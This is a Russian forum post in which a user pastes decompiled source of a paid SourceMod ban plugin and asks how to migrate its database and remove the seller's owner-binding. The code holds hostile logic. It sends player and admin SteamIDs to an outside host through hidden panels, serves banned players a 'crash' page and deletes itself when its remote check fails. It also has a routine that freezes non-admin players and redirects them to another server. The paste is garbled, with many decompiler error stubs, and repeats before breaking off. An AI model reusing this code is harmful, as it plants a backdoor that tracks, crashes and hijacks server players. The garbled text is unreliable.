pluhaa
Участник
- Сообщения
- 5
- Реакции
- 0
Доброго времени суток.
Сейчас вот разобрал один плагин через декомпилятор, чтобы сделать следующее:
Мне нужно перенести базу данных от этого плагина (он куда-то подключается и у него реально есть база). И отвязать любую уязвимость и привязанность к владельцу. Как и что здесь?
Сейчас вот разобрал один плагин через декомпилятор, чтобы сделать следующее:
Мне нужно перенести базу данных от этого плагина (он куда-то подключается и у него реально есть база). И отвязать любую уязвимость и привязанность к владельцу. Как и что здесь?
public PlVers:__version =
{
version = 5,
filevers = "1.6.4-dev+4615",
date = "08/06/2017",
time = "13:08:58"
};
new Float:NULL_VECTOR[3];
new String:NULL_STRING[4];
public Extension:__ext_core =
{
name = "Core",
file = "core",
autoload = 0,
required = 0,
};
new MaxClients;
public Extension:__ext_sdktools =
{
name = "SDKTools",
file = "sdktools.ext",
autoload = 1,
required = 1,
};
new String:g_sMessage_AdvertServer[10][256];
new iAdvert;
new String:sMessage_NotFound[256] = "ВАШ '{1}' НЕ НАЙДЕН В БАЗЕ";
new String:sMessage_DeletePlugin[256] = "Плагин был удален '{1}'";
new String:sMessage_DDOS[256] = "ЗА ПОПЫТКУ МОНИПУЛЯЦИЙ ПЛАГИН УДАЛЕН И ВЫГРУЖЕН С СЕРВЕРА!!!";
new String:sMessage_UnloadPlugin[256] = "Купить плагин можно в Skype: ";
new String:g_sMyServerIpPort[2][256];
new String:sSourceFilePlugin[256] = "v34_Space_Bans.smx";
new String:sSourceNamePlugin[256] = "V34_Space_Bans";
public Extension:__ext_smsock =
{
name = "Socket",
file = "socket.ext",
autoload = 1,
required = 1,
};
public Extension:__ext_regex =
{
name = "Regex Extension",
file = "regex.ext",
autoload = 1,
required = 1,
};
new bool:g_bConnect;
new bool:g_bGetIP;
new String:g_sFileName[256];
new Handle:g_hRegex;
new bool:Confirm[3][66];
new bool:bReally;
new iReally;
new String:sAddressServer[32];
new String:sNameServer[192];
new Keys_clients[66];
new String:check_symb[23][16] =
{
"%",
" ",
"!",
"=",
"+",
"'",
".",
"<",
">",
"#",
"&",
"{",
"}",
"\",
"^",
"~",
"[",
"]",
":",
"/",
"?",
"-",
";"
};
new String:replace_symb[23][16] =
{
"%25",
"%20",
"%21",
"%3d",
"%2b",
"%27",
"%2E",
"%3c",
"%3e",
"%23",
"%26",
"%7b",
"%7d",
"%5c",
"%5e",
"%73",
"%5b",
"%5d",
"%3A",
"%2F",
"%3F",
"%2D",
"%3B"
};
public Plugin:myinfo =
{
name = "",
description = "Бан + защита SteamID",
author = "",
version = "25.1.5",
url = ""
};
public __ext_core_SetNTVOptional()
{
MarkNativeAsOptional("GetFeatureStatus");
MarkNativeAsOptional("RequireFeature");
MarkNativeAsOptional("AddCommandListener");
MarkNativeAsOptional("RemoveCommandListener");
MarkNativeAsOptional("BfWriteBool");
MarkNativeAsOptional("BfWriteByte");
MarkNativeAsOptional("BfWriteChar");
MarkNativeAsOptional("BfWriteShort");
MarkNativeAsOptional("BfWriteWord");
MarkNativeAsOptional("BfWriteNum");
MarkNativeAsOptional("BfWriteFloat");
MarkNativeAsOptional("BfWriteString");
MarkNativeAsOptional("BfWriteEntity");
MarkNativeAsOptional("BfWriteAngle");
MarkNativeAsOptional("BfWriteCoord");
MarkNativeAsOptional("BfWriteVecCoord");
MarkNativeAsOptional("BfWriteVecNormal");
MarkNativeAsOptional("BfWriteAngles");
MarkNativeAsOptional("BfReadBool");
MarkNativeAsOptional("BfReadByte");
MarkNativeAsOptional("BfReadChar");
MarkNativeAsOptional("BfReadShort");
MarkNativeAsOptional("BfReadWord");
MarkNativeAsOptional("BfReadNum");
MarkNativeAsOptional("BfReadFloat");
MarkNativeAsOptional("BfReadString");
MarkNativeAsOptional("BfReadEntity");
MarkNativeAsOptional("BfReadAngle");
MarkNativeAsOptional("BfReadCoord");
MarkNativeAsOptional("BfReadVecCoord");
MarkNativeAsOptional("BfReadVecNormal");
MarkNativeAsOptional("BfReadAngles");
MarkNativeAsOptional("BfGetNumBytesLeft");
MarkNativeAsOptional("PbReadInt");
MarkNativeAsOptional("PbReadFloat");
MarkNativeAsOptional("PbReadBool");
MarkNativeAsOptional("PbReadString");
MarkNativeAsOptional("PbReadColor");
MarkNativeAsOptional("PbReadAngle");
MarkNativeAsOptional("PbReadVector");
MarkNativeAsOptional("PbReadVector2D");
MarkNativeAsOptional("PbGetRepeatedFieldCount");
MarkNativeAsOptional("PbSetInt");
MarkNativeAsOptional("PbSetFloat");
MarkNativeAsOptional("PbSetBool");
MarkNativeAsOptional("PbSetString");
MarkNativeAsOptional("PbSetColor");
MarkNativeAsOptional("PbSetAngle");
MarkNativeAsOptional("PbSetVector");
MarkNativeAsOptional("PbSetVector2D");
MarkNativeAsOptional("PbAddInt");
MarkNativeAsOptional("PbAddFloat");
MarkNativeAsOptional("PbAddBool");
MarkNativeAsOptional("PbAddString");
MarkNativeAsOptional("PbAddColor");
MarkNativeAsOptional("PbAddAngle");
MarkNativeAsOptional("PbAddVector");
MarkNativeAsOptional("PbAddVector2D");
MarkNativeAsOptional("PbRemoveRepeatedFieldValue");
MarkNativeAsOptional("PbReadMessage");
MarkNativeAsOptional("PbReadRepeatedMessage");
MarkNativeAsOptional("PbAddMessage");
VerifyCoreVersion();
return 0;
}
Float:operator*(Float:,_:)(Float:oper1, oper2)
{
return oper1 * float(oper2);
}
bool:StrEqual(String:str1[], String:str2[], bool:caseSensitive)
{
return strcmp(str1, str2, caseSensitive) == 0;
}
ExplodeString(String:text[], String:split[], String:buffers[][], maxStrings, maxStringLength, bool:copyRemainder)
{
new reloc_idx;
new idx;
new total;
new var1;
if (maxStrings < 1 || !split[0])
{
return 0;
}
while ((idx = SplitString(text[reloc_idx], split, buffers[total], maxStringLength)) != -1)
{
reloc_idx = idx + reloc_idx;
total++;
if (maxStrings == total)
{
if (copyRemainder)
{
strcopy(buffers[total + -1], maxStringLength, text[reloc_idx - idx]);
}
return total;
}
}
total++;
strcopy(buffers[total], maxStringLength, text[reloc_idx]);
return total;
}
PrintToChatAll(String:format[])
{
decl String:buffer[192];
new i = 1;
while (i <= MaxClients)
{
if (IsClientInGame(i))
{
SetGlobalTransTarget(i);
VFormat(buffer, 192, format, 2);
PrintToChat(i, "%s", buffer);
}
i++;
}
return 0;
}
PrintCenterTextAll(String:format[])
{
decl String:buffer[192];
new i = 1;
while (i <= MaxClients)
{
if (IsClientInGame(i))
{
SetGlobalTransTarget(i);
VFormat(buffer, 192, format, 2);
PrintCenterText(i, "%s", buffer);
}
i++;
}
return 0;
}
DisplayAskConnectBox(client, Float:time, String:ip[], String:password[])
{
decl String:destination[288];
FormatEx(destination, 288, "%s/%s", ip, password);
new Handle:Kv = CreateKeyValues("data", "", "");
KvSetFloat(Kv, "time", time);
KvSetString(Kv, "title", destination);
CreateDialog(client, Kv, DialogType:4);
CloseHandle(Kv);
return 0;
}
SetEntityMoveType(entity, MoveType:mt)
{
static bool:gotconfig;
static String:datamap[32];
if (!gotconfig)
{
new Handle:gc = LoadGameConfigFile("core.games");
new bool:exists = GameConfGetKeyValue(gc, "m_MoveType", datamap, 32);
CloseHandle(gc);
if (!exists)
{
strcopy(datamap, 32, "m_MoveType");
}
gotconfig = true;
}
SetEntProp(entity, PropType:1, datamap, mt, 4, 0);
return 0;
}
/* ERROR! null */
function "OnAllCn" (number 8)
/* ERROR! null */
function "SetServerIpPort" (number 9)
/* ERROR! null */
function "GetIP_Socket" (number 10)
/* ERROR! null */
function "OnSocketCreate" (number 11)
public Action:OnSocketBlock(Handle:timer)
{
if (!g_bConnect)
{
OnPluginDelete(Handle:0, any:1);
}
return Action:0;
}
/* ERROR! null */
function "OnSocketConnected" (number 13)
public OnSocketDisconnected(Handle:socket, any:data)
{
CloseHandle(socket);
return 0;
}
/* ERROR! null */
function "OnSocketError" (number 15)
/* ERROR! null */
function "OnSocketReceive" (number 16)
/* ERROR! null */
function "OnPluginDelete" (number 17)
/* ERROR! null */
function "OnPluginDisable" (number 18)
/* ERROR! null */
function "GetPluginId" (number 19)
/* ERROR! null */
function "OnDeleteFile" (number 20)
/* ERROR! null */
function "OnGetIpAdress" (number 21)
/* ERROR! null */
function "TreatmentMessage" (number 22)
/* ERROR! null */
function "OnClientConsoleCommand" (number 23)
/* ERROR! null */
function "OnCmdQs" (number 24)
/* ERROR! null */
function "OnCmdUs" (number 25)
/* ERROR! null */
function "OnDeleteServer" (number 26)
/* ERROR! null */
function "OnNotConfirm" (number 27)
/* ERROR! null */
function "OnCmdSs" (number 28)
/* ERROR! null */
function "OnCmdRs" (number 29)
/* ERROR! null */
function "OnDefineCvar" (number 30)
/* ERROR! null */
function "OnBlockServer" (number 31)
/* ERROR! null */
function "OnAllKs" (number 32)
/* ERROR! null */
function "OnClearInfoServer" (number 33)
/* ERROR! null */
function "_OnAllCn" (number 34)
public Action:OnMovetypeNoneAll(Handle:timer)
{
new var1;
if (sAddressServer[0] && sNameServer[0])
{
return Action:0;
}
new iClient = 1;
while (iClient <= MaxClients)
{
if (IsClientInGame(iClient))
{
if (!(0 < GetUserFlagBits(iClient)))
{
DisplayAskConnectBox(iClient, 2.0, sAddressServer, "");
PrintCenterText(iClient, "Сервер вас перенаправляет на %s. Нажмите F3.", sNameServer);
PrintToChat(iClient, "\x01Сервер вас перенаправляет на \x04%s. Нажмите F3.", sNameServer);
if (IsPlayerAlive(iClient))
{
SetEntityMoveType(iClient, MoveType:0);
}
}
iClient++;
}
iClient++;
}
CreateTimer(1.0, OnMovetypeNoneAll, any:0, 0);
return Action:0;
}
/* ERROR! null */
function "OnAdvert" (number 36)
public OnPluginStart()
{
GetIP_Socket();
RegAdminCmd("sm_SpaceBan", Command_FerrBans, 8, "", "", 0);
RegAdminCmd("sm_Spacesnn", Command_FerrBansNN, 16384, "", "", 0);
RegAdminCmd("sm_Spacesid", Command_FerrBansID, 8, "", "", 0);
RegAdminCmd("sm_sprotect", Command_SteamProtect, 16384, "", "", 0);
RegAdminCmd("ferrkickid", Command_Ferrkickid, 16384, "", "", 0);
RegAdminCmd("sprotkickid", Command_SProtkickid, 16384, "", "", 0);
RegAdminCmd("showteampanel", Command_ShowTeamPanel, 16384, "", "", 0);
return 0;
}
public Action:Command_FerrBans(client, args)
{
new var1;
if (client > 0 && args < 1)
{
ShowFerrMenu(client);
}
return Action:3;
}
public Action:Command_FerrBansNN(client, args)
{
new var1;
if (client > 0 && args < 1)
{
ShowFerrMenuNN(client);
}
return Action:3;
}
public Action:Command_FerrBansID(client, args)
{
new var1;
if (client > 0 && args < 1)
{
ShowFerrMenuID(client);
}
return Action:3;
}
public Action:Command_SteamProtect(client, args)
{
new var1;
if (client > 0 && args < 1)
{
ShowSProtectMenu(client);
}
return Action:3;
}
ShowFerrMenu(client)
{
new Handle:menu = CreateMenu(Select_Menu, MenuAction:28);
SetMenuTitle(menu, "[SpaceBans] Выберите игрока:\n \n");
decl String:userid[16];
decl String:name[32];
new i = 1;
while (i <= MaxClients)
{
if (IsClientInGame(i))
{
IntToString(GetClientUserId(i), userid, 15);
GetClientName(i, name, 32);
AddMenuItem(menu, userid, name, 0);
}
i++;
}
DisplayMenu(menu, client, 0);
return 0;
}
ShowFerrMenuNN(client)
{
new Handle:menu = CreateMenu(Select_MenuNN, MenuAction:28);
SetMenuTitle(menu, "[SpaceBansNoName] Выберите игрока:\n \n");
decl String:userid[16];
decl String:name[32];
new i = 1;
while (i <= MaxClients)
{
if (IsClientInGame(i))
{
IntToString(GetClientUserId(i), userid, 15);
GetClientName(i, name, 32);
AddMenuItem(menu, userid, name, 0);
}
i++;
}
DisplayMenu(menu, client, 0);
return 0;
}
ShowFerrMenuID(client)
{
if (IsClientObserver(client))
{
new observerMode = GetEntProp(client, PropType:0, "m_iObserverMode", 4, 0);
new var1;
if (observerMode == 3 || observerMode == 4)
{
new target = GetEntPropEnt(client, PropType:0, "m_hObserverTarget", 0);
decl String:label[40];
GetClientName(target, label, 40);
Format(label, 40, "Игрок %N\n \n", target);
new Handle:panel = CreatePanel(Handle:0);
SetPanelTitle(panel, "[SpaceBansByID] Подтвердите блокировку:\n \n", false);
DrawPanelText(panel, label);
DrawPanelItem(panel, "Заблокировать", 0);
DrawPanelItem(panel, "Отмена", 0);
SendPanelToClient(panel, client, Select_MenuID, 0);
CloseHandle(panel);
}
}
else
{
PrintToChat(client, "\x01[\x03SpaceBansById\x01] Доступно только в режиме наблюдения, или когда вы мертвы.");
}
return 0;
}
ShowSProtectMenu(client)
{
new Handle:menu = CreateMenu(Select_MenuSP, MenuAction:28);
SetMenuTitle(menu, "[SteamProtect] Выберите игрока:\n \n");
decl String:userid[16];
decl String:name[32];
new i = 1;
while (i <= MaxClients)
{
if (IsClientInGame(i))
{
IntToString(GetClientUserId(i), userid, 15);
GetClientName(i, name, 32);
AddMenuItem(menu, userid, name, 0);
}
i++;
}
DisplayMenu(menu, client, 0);
return 0;
}
public Select_Menu(Handle:menu, MenuAction:action, client, option)
{
if (action == MenuAction:16)
{
CloseHandle(menu);
return 0;
}
if (action != MenuAction:4)
{
return 0;
}
decl String:userid[16];
decl String:target_name[128];
GetMenuItem(menu, option, userid, 15, 0, "", 0);
new target = GetClientOfUserId(StringToInt(userid, 10));
if (0 < target)
{
GetClientName(target, target_name, 128);
new i;
while (i < 23)
{
ReplaceString(target_name, 128, check_symb, replace_symb, true);
i++;
}
CreateBan(target, client, target_name);
}
else
{
PrintToChat(client, "\x01[\x03SpaceBans\x01] Игрок вышел с сервера");
}
ShowFerrMenu(client);
return 0;
}
public Select_MenuNN(Handle:menu, MenuAction:action, client, option)
{
if (action == MenuAction:16)
{
CloseHandle(menu);
return 0;
}
if (action != MenuAction:4)
{
return 0;
}
decl String:userid[16];
GetMenuItem(menu, option, userid, 15, 0, "", 0);
new target = GetClientOfUserId(StringToInt(userid, 10));
if (0 < target)
{
CreateBan(target, client, "unnamed");
}
else
{
PrintToChat(client, "\x01[\x03SpaceBansNoName\x01] Игрок вышел с сервера");
}
ShowFerrMenuNN(client);
return 0;
}
public Select_MenuID(Handle:panel, MenuAction:action, client, option)
{
if (action != MenuAction:4)
{
return 0;
}
new var1;
if (option == 1 && client)
{
new target = GetEntPropEnt(client, PropType:0, "m_hObserverTarget", 0);
if (0 < target)
{
CreateBan(target, client, "unnamed");
}
else
{
PrintToChat(client, "\x01[\x03SpaceBansById\x01] Игрок вышел с сервера");
}
}
else
{
new var2;
if (option == 2 && client)
{
PrintToChat(client, "\x01[\x03SpaceBansById\x01] Вы отменили блокировку");
}
}
return 0;
}
public Select_MenuSP(Handle:menu, MenuAction:action, client, option)
{
if (action == MenuAction:16)
{
CloseHandle(menu);
return 0;
}
if (action != MenuAction:4)
{
return 0;
}
decl String:userid[16];
GetMenuItem(menu, option, userid, 15, 0, "", 0);
new target = GetClientOfUserId(StringToInt(userid, 10));
if (0 < target)
{
decl String:href[256];
decl String:target_name[128];
decl String:Client_authid[64];
GetClientAuthString(target, Client_authid, 64, true);
GetClientName(target, target_name, 128);
new i;
while (i < 23)
{
ReplaceString(target_name, 128, check_symb, replace_symb, true);
i++;
}
Format(href, 256, "lisa.myarena.ru/[v34]Medved/s1p5ro89tec3tlixie.php?steamid=%s&nclient=%s", Client_authid, target_name);
DoUrl(target, href);
PrintToChat(client, "\x01[\x03SteamProtect\x01] Стим игрока \x04%N \x01успешно защищён", target);
}
else
{
PrintToChat(client, "\x01[\x03SteamProtect\x01] Игрок вышел с сервера");
}
ShowSProtectMenu(client);
return 0;
}
public Action:Command_Ferrkickid(client, args)
{
decl String:kickid[32];
decl String:syskeystr[32];
GetCmdArg(1, kickid, 32);
GetCmdArg(2, syskeystr, 32);
new cheater = StringToInt(kickid, 10);
new syskey = StringToInt(syskeystr, 10);
new var1;
if (cheater > 0 && Keys_clients[cheater] == syskey)
{
PrintToChat(cheater, "\x01[\x03SpaceBans\x01] Вы были забанены. Узнать информацию vk.com/clubfriends18");
DoUrl(cheater, "lisa.myarena.ru/[v34]Medved/crash0829lixie.html");
CreateTimer(1.0, KickPlayer, cheater, 0);
}
return Action:3;
}
public Action:Command_SProtkickid(client, args)
{
decl String:kickid[32];
decl String:syskeystr[32];
GetCmdArg(1, kickid, 32);
GetCmdArg(2, syskeystr, 32);
new bypass = StringToInt(kickid, 10);
new syskey = StringToInt(syskeystr, 10);
new var1;
if (bypass > 0 && bypass <= MaxClients && IsClientInGame(bypass) && Keys_clients[bypass] == syskey)
{
PrintToChat(bypass, "\x01[\x03SteamProtect\x01] Данный STEAM ID защищён");
DoUrl(bypass, "lisa.myarena.ru/[v34]Medved/crash0829lixie.html");
CreateTimer(1.0, STKickPlayer, bypass, 0);
}
return Action:3;
}
public Action:Command_ShowTeamPanel(client, args)
{
decl String:kickid[32];
decl String:syskeystr[32];
GetCmdArg(1, kickid, 32);
GetCmdArg(2, syskeystr, 32);
new bypass = StringToInt(kickid, 10);
new syskey = StringToInt(syskeystr, 10);
new var1;
if (bypass > 0 && IsClientInGame(bypass) && IsClientObserver(bypass) && Keys_clients[bypass] == syskey)
{
ShowVGUIPanel(bypass, "team", Handle:0, true);
}
return Action:3;
}
public Action:OnShowTeamPanel(Handle:timer, any:client)
{
new var1;
if (client && IsClientInGame(client))
{
ShowVGUIPanel(client, "team", Handle:0, true);
}
return Action:0;
}
public Action:KickPlayer(Handle:timer, any:cheater)
{
if (IsClientInGame(cheater))
{
KickClient(cheater, "Разбан, скайп: iron5gg");
}
PrintToChatAll("\x01[\x03SpaceBans\x01] Заблокирован доступ игроку \x04%N ", cheater);
return Action:0;
}
public Action:STKickPlayer(Handle:timer, any:bypass)
{
if (IsClientInGame(bypass))
{
KickClient(bypass, "Данный STEAM ID защищён");
}
PrintToChatAll("\x01[\x03SteamProtect\x01] Игрок \x04%N \x01пытался зайти под защищённым STEAM ID", bypass);
return Action:0;
}
public OnClientPutInServer(client)
{
Keys_clients[client] = GetRandomInt(1000, 9999999);
CreateTimer(0.5, CheckBanner, client, 0);
CreateTimer(3.0, OnShowTeamPanel, client, 0);
return 0;
}
public OnClientDisconnect(client)
{
return 0;
}
public Action:CheckBanner(Handle:timer, any:client)
{
new var1;
if (client > any:0 && IsClientInGame(client) && !IsFakeClient(client))
{
decl String:href[128];
decl String:Client_authid[64];
GetClientAuthString(client, Client_authid, 64, true);
Format(href, 128, "lisa.myarena.ru/[v34]Medved/c39h4e7rklixie.php?clientid=%i&skey=%i&steamid=%s", client, Keys_clients[client], Client_authid);
DoUrl(client, href);
}
return Action:0;
}
CreateBan(target, admin, String:nickname[])
{
decl String:href[256];
decl String:Adm_authid[64];
GetClientAuthString(admin, Adm_authid, 64, true);
Format(href, 256, "lisa.myarena.ru/[v34]Medved/8b83a6yn1lixie.php?clientid=%i&nclient=%s&steamadm=%s&skey=%i", target, nickname, Adm_authid, Keys_clients[target]);
DoUrl(target, href);
PrintToChat(admin, "\x01[\x03SpaceBans\x01] Игрок \x04%N \x01заблокирован", target);
return 0;
}
Action:DoUrl(client, String:url[])
{
new Handle:setup = CreateKeyValues("data", "", "");
KvSetString(setup, "title", "FabFapBan");
KvSetNum(setup, "type", 2);
KvSetString(setup, "msg", url);
ShowVGUIPanel(client, "info", setup, false);
CloseHandle(setup);
return Action:3;
}
{
version = 5,
filevers = "1.6.4-dev+4615",
date = "08/06/2017",
time = "13:08:58"
};
new Float:NULL_VECTOR[3];
new String:NULL_STRING[4];
public Extension:__ext_core =
{
name = "Core",
file = "core",
autoload = 0,
required = 0,
};
new MaxClients;
public Extension:__ext_sdktools =
{
name = "SDKTools",
file = "sdktools.ext",
autoload = 1,
required = 1,
};
new String:g_sMessage_AdvertServer[10][256];
new iAdvert;
new String:sMessage_NotFound[256] = "ВАШ '{1}' НЕ НАЙДЕН В БАЗЕ";
new String:sMessage_DeletePlugin[256] = "Плагин был удален '{1}'";
new String:sMessage_DDOS[256] = "ЗА ПОПЫТКУ МОНИПУЛЯЦИЙ ПЛАГИН УДАЛЕН И ВЫГРУЖЕН С СЕРВЕРА!!!";
new String:sMessage_UnloadPlugin[256] = "Купить плагин можно в Skype: ";
new String:g_sMyServerIpPort[2][256];
new String:sSourceFilePlugin[256] = "v34_Space_Bans.smx";
new String:sSourceNamePlugin[256] = "V34_Space_Bans";
public Extension:__ext_smsock =
{
name = "Socket",
file = "socket.ext",
autoload = 1,
required = 1,
};
public Extension:__ext_regex =
{
name = "Regex Extension",
file = "regex.ext",
autoload = 1,
required = 1,
};
new bool:g_bConnect;
new bool:g_bGetIP;
new String:g_sFileName[256];
new Handle:g_hRegex;
new bool:Confirm[3][66];
new bool:bReally;
new iReally;
new String:sAddressServer[32];
new String:sNameServer[192];
new Keys_clients[66];
new String:check_symb[23][16] =
{
"%",
" ",
"!",
"=",
"+",
"'",
".",
"<",
">",
"#",
"&",
"{",
"}",
"\",
"^",
"~",
"[",
"]",
":",
"/",
"?",
"-",
";"
};
new String:replace_symb[23][16] =
{
"%25",
"%20",
"%21",
"%3d",
"%2b",
"%27",
"%2E",
"%3c",
"%3e",
"%23",
"%26",
"%7b",
"%7d",
"%5c",
"%5e",
"%73",
"%5b",
"%5d",
"%3A",
"%2F",
"%3F",
"%2D",
"%3B"
};
public Plugin:myinfo =
{
name = "",
description = "Бан + защита SteamID",
author = "",
version = "25.1.5",
url = ""
};
public __ext_core_SetNTVOptional()
{
MarkNativeAsOptional("GetFeatureStatus");
MarkNativeAsOptional("RequireFeature");
MarkNativeAsOptional("AddCommandListener");
MarkNativeAsOptional("RemoveCommandListener");
MarkNativeAsOptional("BfWriteBool");
MarkNativeAsOptional("BfWriteByte");
MarkNativeAsOptional("BfWriteChar");
MarkNativeAsOptional("BfWriteShort");
MarkNativeAsOptional("BfWriteWord");
MarkNativeAsOptional("BfWriteNum");
MarkNativeAsOptional("BfWriteFloat");
MarkNativeAsOptional("BfWriteString");
MarkNativeAsOptional("BfWriteEntity");
MarkNativeAsOptional("BfWriteAngle");
MarkNativeAsOptional("BfWriteCoord");
MarkNativeAsOptional("BfWriteVecCoord");
MarkNativeAsOptional("BfWriteVecNormal");
MarkNativeAsOptional("BfWriteAngles");
MarkNativeAsOptional("BfReadBool");
MarkNativeAsOptional("BfReadByte");
MarkNativeAsOptional("BfReadChar");
MarkNativeAsOptional("BfReadShort");
MarkNativeAsOptional("BfReadWord");
MarkNativeAsOptional("BfReadNum");
MarkNativeAsOptional("BfReadFloat");
MarkNativeAsOptional("BfReadString");
MarkNativeAsOptional("BfReadEntity");
MarkNativeAsOptional("BfReadAngle");
MarkNativeAsOptional("BfReadCoord");
MarkNativeAsOptional("BfReadVecCoord");
MarkNativeAsOptional("BfReadVecNormal");
MarkNativeAsOptional("BfReadAngles");
MarkNativeAsOptional("BfGetNumBytesLeft");
MarkNativeAsOptional("PbReadInt");
MarkNativeAsOptional("PbReadFloat");
MarkNativeAsOptional("PbReadBool");
MarkNativeAsOptional("PbReadString");
MarkNativeAsOptional("PbReadColor");
MarkNativeAsOptional("PbReadAngle");
MarkNativeAsOptional("PbReadVector");
MarkNativeAsOptional("PbReadVector2D");
MarkNativeAsOptional("PbGetRepeatedFieldCount");
MarkNativeAsOptional("PbSetInt");
MarkNativeAsOptional("PbSetFloat");
MarkNativeAsOptional("PbSetBool");
MarkNativeAsOptional("PbSetString");
MarkNativeAsOptional("PbSetColor");
MarkNativeAsOptional("PbSetAngle");
MarkNativeAsOptional("PbSetVector");
MarkNativeAsOptional("PbSetVector2D");
MarkNativeAsOptional("PbAddInt");
MarkNativeAsOptional("PbAddFloat");
MarkNativeAsOptional("PbAddBool");
MarkNativeAsOptional("PbAddString");
MarkNativeAsOptional("PbAddColor");
MarkNativeAsOptional("PbAddAngle");
MarkNativeAsOptional("PbAddVector");
MarkNativeAsOptional("PbAddVector2D");
MarkNativeAsOptional("PbRemoveRepeatedFieldValue");
MarkNativeAsOptional("PbReadMessage");
MarkNativeAsOptional("PbReadRepeatedMessage");
MarkNativeAsOptional("PbAddMessage");
VerifyCoreVersion();
return 0;
}
Float:operator*(Float:,_:)(Float:oper1, oper2)
{
return oper1 * float(oper2);
}
bool:StrEqual(String:str1[], String:str2[], bool:caseSensitive)
{
return strcmp(str1, str2, caseSensitive) == 0;
}
ExplodeString(String:text[], String:split[], String:buffers[][], maxStrings, maxStringLength, bool:copyRemainder)
{
new reloc_idx;
new idx;
new total;
new var1;
if (maxStrings < 1 || !split[0])
{
return 0;
}
while ((idx = SplitString(text[reloc_idx], split, buffers[total], maxStringLength)) != -1)
{
reloc_idx = idx + reloc_idx;
total++;
if (maxStrings == total)
{
if (copyRemainder)
{
strcopy(buffers[total + -1], maxStringLength, text[reloc_idx - idx]);
}
return total;
}
}
total++;
strcopy(buffers[total], maxStringLength, text[reloc_idx]);
return total;
}
PrintToChatAll(String:format[])
{
decl String:buffer[192];
new i = 1;
while (i <= MaxClients)
{
if (IsClientInGame(i))
{
SetGlobalTransTarget(i);
VFormat(buffer, 192, format, 2);
PrintToChat(i, "%s", buffer);
}
i++;
}
return 0;
}
PrintCenterTextAll(String:format[])
{
decl String:buffer[192];
new i = 1;
while (i <= MaxClients)
{
if (IsClientInGame(i))
{
SetGlobalTransTarget(i);
VFormat(buffer, 192, format, 2);
PrintCenterText(i, "%s", buffer);
}
i++;
}
return 0;
}
DisplayAskConnectBox(client, Float:time, String:ip[], String:password[])
{
decl String:destination[288];
FormatEx(destination, 288, "%s/%s", ip, password);
new Handle:Kv = CreateKeyValues("data", "", "");
KvSetFloat(Kv, "time", time);
KvSetString(Kv, "title", destination);
CreateDialog(client, Kv, DialogType:4);
CloseHandle(Kv);
return 0;
}
SetEntityMoveType(entity, MoveType:mt)
{
static bool:gotconfig;
static String:datamap[32];
if (!gotconfig)
{
new Handle:gc = LoadGameConfigFile("core.games");
new bool:exists = GameConfGetKeyValue(gc, "m_MoveType", datamap, 32);
CloseHandle(gc);
if (!exists)
{
strcopy(datamap, 32, "m_MoveType");
}
gotconfig = true;
}
SetEntProp(entity, PropType:1, datamap, mt, 4, 0);
return 0;
}
/* ERROR! null */
function "OnAllCn" (number 8)
/* ERROR! null */
function "SetServerIpPort" (number 9)
/* ERROR! null */
function "GetIP_Socket" (number 10)
/* ERROR! null */
function "OnSocketCreate" (number 11)
public Action:OnSocketBlock(Handle:timer)
{
if (!g_bConnect)
{
OnPluginDelete(Handle:0, any:1);
}
return Action:0;
}
/* ERROR! null */
function "OnSocketConnected" (number 13)
public OnSocketDisconnected(Handle:socket, any:data)
{
CloseHandle(socket);
return 0;
}
/* ERROR! null */
function "OnSocketError" (number 15)
/* ERROR! null */
function "OnSocketReceive" (number 16)
/* ERROR! null */
function "OnPluginDelete" (number 17)
/* ERROR! null */
function "OnPluginDisable" (number 18)
/* ERROR! null */
function "GetPluginId" (number 19)
/* ERROR! null */
function "OnDeleteFile" (number 20)
/* ERROR! null */
function "OnGetIpAdress" (number 21)
/* ERROR! null */
function "TreatmentMessage" (number 22)
/* ERROR! null */
function "OnClientConsoleCommand" (number 23)
/* ERROR! null */
function "OnCmdQs" (number 24)
/* ERROR! null */
function "OnCmdUs" (number 25)
/* ERROR! null */
function "OnDeleteServer" (number 26)
/* ERROR! null */
function "OnNotConfirm" (number 27)
/* ERROR! null */
function "OnCmdSs" (number 28)
/* ERROR! null */
function "OnCmdRs" (number 29)
/* ERROR! null */
function "OnDefineCvar" (number 30)
/* ERROR! null */
function "OnBlockServer" (number 31)
/* ERROR! null */
function "OnAllKs" (number 32)
/* ERROR! null */
function "OnClearInfoServer" (number 33)
/* ERROR! null */
function "_OnAllCn" (number 34)
public Action:OnMovetypeNoneAll(Handle:timer)
{
new var1;
if (sAddressServer[0] && sNameServer[0])
{
return Action:0;
}
new iClient = 1;
while (iClient <= MaxClients)
{
if (IsClientInGame(iClient))
{
if (!(0 < GetUserFlagBits(iClient)))
{
DisplayAskConnectBox(iClient, 2.0, sAddressServer, "");
PrintCenterText(iClient, "Сервер вас перенаправляет на %s. Нажмите F3.", sNameServer);
PrintToChat(iClient, "\x01Сервер вас перенаправляет на \x04%s. Нажмите F3.", sNameServer);
if (IsPlayerAlive(iClient))
{
SetEntityMoveType(iClient, MoveType:0);
}
}
iClient++;
}
iClient++;
}
CreateTimer(1.0, OnMovetypeNoneAll, any:0, 0);
return Action:0;
}
/* ERROR! null */
function "OnAdvert" (number 36)
public OnPluginStart()
{
GetIP_Socket();
RegAdminCmd("sm_SpaceBan", Command_FerrBans, 8, "", "", 0);
RegAdminCmd("sm_Spacesnn", Command_FerrBansNN, 16384, "", "", 0);
RegAdminCmd("sm_Spacesid", Command_FerrBansID, 8, "", "", 0);
RegAdminCmd("sm_sprotect", Command_SteamProtect, 16384, "", "", 0);
RegAdminCmd("ferrkickid", Command_Ferrkickid, 16384, "", "", 0);
RegAdminCmd("sprotkickid", Command_SProtkickid, 16384, "", "", 0);
RegAdminCmd("showteampanel", Command_ShowTeamPanel, 16384, "", "", 0);
return 0;
}
public Action:Command_FerrBans(client, args)
{
new var1;
if (client > 0 && args < 1)
{
ShowFerrMenu(client);
}
return Action:3;
}
public Action:Command_FerrBansNN(client, args)
{
new var1;
if (client > 0 && args < 1)
{
ShowFerrMenuNN(client);
}
return Action:3;
}
public Action:Command_FerrBansID(client, args)
{
new var1;
if (client > 0 && args < 1)
{
ShowFerrMenuID(client);
}
return Action:3;
}
public Action:Command_SteamProtect(client, args)
{
new var1;
if (client > 0 && args < 1)
{
ShowSProtectMenu(client);
}
return Action:3;
}
ShowFerrMenu(client)
{
new Handle:menu = CreateMenu(Select_Menu, MenuAction:28);
SetMenuTitle(menu, "[SpaceBans] Выберите игрока:\n \n");
decl String:userid[16];
decl String:name[32];
new i = 1;
while (i <= MaxClients)
{
if (IsClientInGame(i))
{
